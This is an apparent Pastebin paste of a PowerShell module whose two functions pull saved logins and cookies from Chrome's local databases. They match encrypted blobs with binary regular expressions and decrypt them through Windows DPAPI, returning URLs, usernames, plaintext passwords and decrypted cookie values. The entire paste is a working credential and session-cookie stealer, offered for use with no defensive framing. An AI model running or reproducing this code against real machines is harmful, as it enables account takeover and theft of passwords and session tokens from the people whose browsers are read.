Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.67 KB | None | 0 0
  1. # Instructions: import the module, then perform the commanded needed.
  2. # Currently only supports Chrome credential extraction, more to come!
  3.  
  4. # Chrome Credential Extraction
  5. # Use: Get-ChromeCreds [path to Login Data]
  6. # Path is optional, use if automatic search doesn't work
  7.  
  8. function Get-ChromeCreds() {
  9. Param(
  10. [String]$Path
  11. )
  12.  
  13. if ([String]::IsNullOrEmpty($Path)) {
  14. $Path = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  15. }
  16.  
  17. if (![system.io.file]::Exists($Path))
  18. {
  19. Write-Error 'Chrome db file doesnt exist, or invalid file path specified.'
  20. Break
  21. }
  22.  
  23. Add-Type -AssemblyName System.Security
  24. # Credit to Matt Graber for his technique on using regular expressions to search for binary data
  25. $Stream = New-Object IO.FileStream -ArgumentList "$Path", 'Open', 'Read', 'ReadWrite'
  26. $Encoding = [system.Text.Encoding]::GetEncoding(28591)
  27. $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding
  28. $BinaryText = $StreamReader.ReadToEnd()
  29. $StreamReader.Close()
  30. $Stream.Close()
  31.  
  32. # First the magic bytes for the password. Ends using the "http" for the next entry.
  33. $PwdRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=\x68\x74\x74\x70|\Z)'
  34. $PwdMatches = $PwdRegex.Matches($BinaryText)
  35. $PwdNum = 0
  36. $DecPwdArray = @()
  37. $PwdMatchCount = $PwdMatches.Count
  38.  
  39. # Decrypt the password macthes and put them in an array
  40. Foreach ($Pwd in $PwdMatches) {
  41. $Pwd = $Encoding.GetBytes($PwdMatches[$PwdNum])
  42. $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Pwd,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
  43. $DecPwd = [System.Text.Encoding]::Default.GetString($Decrypt)
  44. $DecPwdArray += $DecPwd
  45. $PwdNum += 1
  46. }
  47.  
  48. # Now the magic bytes for URLs/Users. Look behind here is the look ahead for passwords.
  49. $UserRegex = [Regex] '(?<=\x0D\x0D\x0D[\s\S]{2}\x68\x74\x74\x70)[\s\S]*?(?=\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)'
  50. $UserMatches = $UserRegex.Matches($BinaryText)
  51. $UserNum = 0
  52. $UserMatchCount = $UserMatches.Count
  53. $UserArray = @()
  54.  
  55. # Check to see if number of users matches the number of passwords. If the values are different, very likely that there was a regex mismatch.
  56. # All returned values should be treated with caution if this error is presented. May be out of order.
  57.  
  58. if (-NOT ($UserMatchCount -eq $PwdMatchCount)) {
  59. $Mismatch = [string]"The number of users is different than the number of passwords! This is most likely due to a regex mismatch."
  60. Write-Error $Mismatch
  61. }
  62.  
  63. # Add back the "http" used in the regex lookahead
  64. $HTTP = "http"
  65. # Put the URL/User matches into an array
  66. Foreach ($User in $UserMatches) {
  67. $User = $Encoding.GetBytes($UserMatches[$UserNum])
  68. $User = $HTTPEnc + $User
  69. $UserString = [System.Text.Encoding]::Default.GetString($User)
  70. $UserString = $HTTP + $UserString
  71. $UserArray += $UserString
  72. $UserNum += 1
  73. }
  74.  
  75. # Now create an object to store the previously created arrays
  76. $ArrayFinal = New-Object -TypeName System.Collections.ArrayList
  77. for ($i = 0; $i -lt $UserNum; $i++) {
  78. $ObjectProp = @{
  79. UserURL = $UserArray[$i]
  80. Password = $DecPwdArray[$i]
  81. }
  82.  
  83. $obj = New-Object PSObject -Property $ObjectProp
  84. $ArrayFinal.Add($obj) | Out-Null
  85. }
  86. $ArrayFinal
  87. }
  88.  
  89. # Chrome Cookie Extraction
  90. # Use: Get-ChromeCookies [path to Cookies]
  91. # Path is optional, use if automatic search doesn't work
  92.  
  93. function Get-ChromeCookies() {
  94. Param(
  95. [String]$Path
  96. )
  97.  
  98. if ([String]::IsNullOrEmpty($Path)) {
  99. $Path = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Cookies"
  100. }
  101.  
  102. if (![system.io.file]::Exists($Path))
  103. {
  104. Write-Error 'Chrome db file doesnt exist, or invalid file path specified.'
  105. Break
  106. }
  107. Add-Type -AssemblyName System.Security
  108. # Credit to Matt Graber for his technique on using regular expressions to search for binary data
  109. $Stream = New-Object IO.FileStream -ArgumentList $Path, 'Open', 'Read', 'ReadWrite'
  110. $Encoding = [system.Text.Encoding]::GetEncoding(28591)
  111. $StreamReader = New-Object IO.StreamReader -ArgumentList $Stream, $Encoding
  112. $BinaryText = $StreamReader.ReadToEnd()
  113. $StreamReader.Close()
  114. $Stream.Close()
  115.  
  116. # Regex for the encrypted blob. Starting bytes were easy, but the terminating bytes were tricky. Four different scenarios are covered.
  117. $BlobRegex = [Regex] '(\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8C\x7A\x00\xC0\x4F\xC2\x97\xEB\x01\x00\x00\x00)[\s\S]*?(?=[\s\S]{2}\x97[\s\S]{8}\x00[\s\S]{2}\x0D|\x0D[\s\S]{2}\x00[\s\S]{3}\x00\x02|\x00{20}|\Z)'
  118. $BlobMatches = $BlobRegex.Matches($BinaryText)
  119. $BlobNum = 0
  120. $DecBlobArray = @()
  121. $BlobMatchCount = $BlobMatches.Count
  122.  
  123. # Attempt to decrypt the blob. If it fails, a null byte is added to the end.
  124. # If it fails again, most likely due to non-contiguous storage. The blob value will be changed.
  125. # Then puts results into an array.
  126.  
  127. Foreach ($Blob in $BlobMatches) {
  128. $Blob = $Encoding.GetBytes($BlobMatches[$BlobNum])
  129. try {
  130. $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Blob,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
  131. }
  132. catch {
  133. $Blob = $Blob + " 0"
  134. try {
  135. $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($Blob,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
  136. }
  137. catch {
  138. $Decrypt = [string]"Unable to decrypt blob"
  139. $DecBlob = [string]"Unable to decrypt blob"
  140. $Error = [string]"Unable to decrypt blob. The value of the cookie will be changed to (Unable to decrypt blob)."
  141. Write-Error $Error
  142. }
  143. }
  144. $DecBlob = [System.Text.Encoding]::Default.GetString($Decrypt)
  145. $DecBlobArray += $DecBlob
  146. $BlobNum += 1
  147. }
  148.  
  149. # Regex for cookie hostname, name, and path, in that order. Inital magic bytes were very tricky. Reads until a null byte value is found.
  150.  
  151. $CookieRegex = [Regex] '(?<=\x97[\s\S]{8}\x00[\s\S]{2}\x0D[\s\S]{11,12})[\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2d\x21\x20\x22\x20\x23\x20\x24\x20\x25\x20\x26\x20\x27\x20\x28\x20\x29\x20\x2a\x20\x2b\x2d\x20\x2e\x20\x2f\x3a\x3c\x20\x3d\x20\x3e\x20\x3f\x20\x40\x5b\x20\x5c\x20\x5d\x20\x5e\x20\x5f\x20\x60\x7b\x20\x7c\x20\x7d\x20\x7e\x2c]{3,}?(?=[\x00\x01\x02\x03])'
  152. $CookieMatches = $CookieRegex.Matches($BinaryText)
  153. $CookieMatchCount = $CookieMatches.Count
  154.  
  155. # Check to see if number of cookies matches the number of encrypted blobs. If the values are different, very likely that there was a regex mismatch.
  156. # All returned values should be treated with caution if this error is presented. May be out of order.
  157.  
  158. if (-NOT ($CookieMatchCount -eq $BlobMatchCount)) {
  159. $Mismatch = [string]"The number of cookies is different than the number of encrypted blobs! This is most likely due to a regex mismatch."
  160. Write-Error $Mismatch
  161. }
  162.  
  163. # Put cookies into an array.
  164.  
  165. $CookieNum = 0
  166. $CookieArray = @()
  167. Foreach ($Cookie in $CookieMatches) {
  168. $Cookie = $Encoding.GetBytes($CookieMatches[$CookieNum])
  169. $CookieString = [System.Text.Encoding]::Default.GetString($Cookie)
  170. $CookieArray += $CookieString
  171. $CookieNum += 1
  172. }
  173.  
  174. # Now create an object to store the previously created arrays.
  175.  
  176. $ArrayFinal = New-Object -TypeName System.Collections.ArrayList
  177. for ($i = 0; $i -lt $CookieNum; $i++) {
  178. $ObjectProp = @{
  179. Blob = $DecBlobArray[$i]
  180. Cookie = $CookieArray[$i]
  181. }
  182.  
  183. $obj = New-Object PSObject -Property $ObjectProp
  184. $ArrayFinal.Add($obj) | Out-Null
  185. }
  186. $ArrayFinal
  187. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement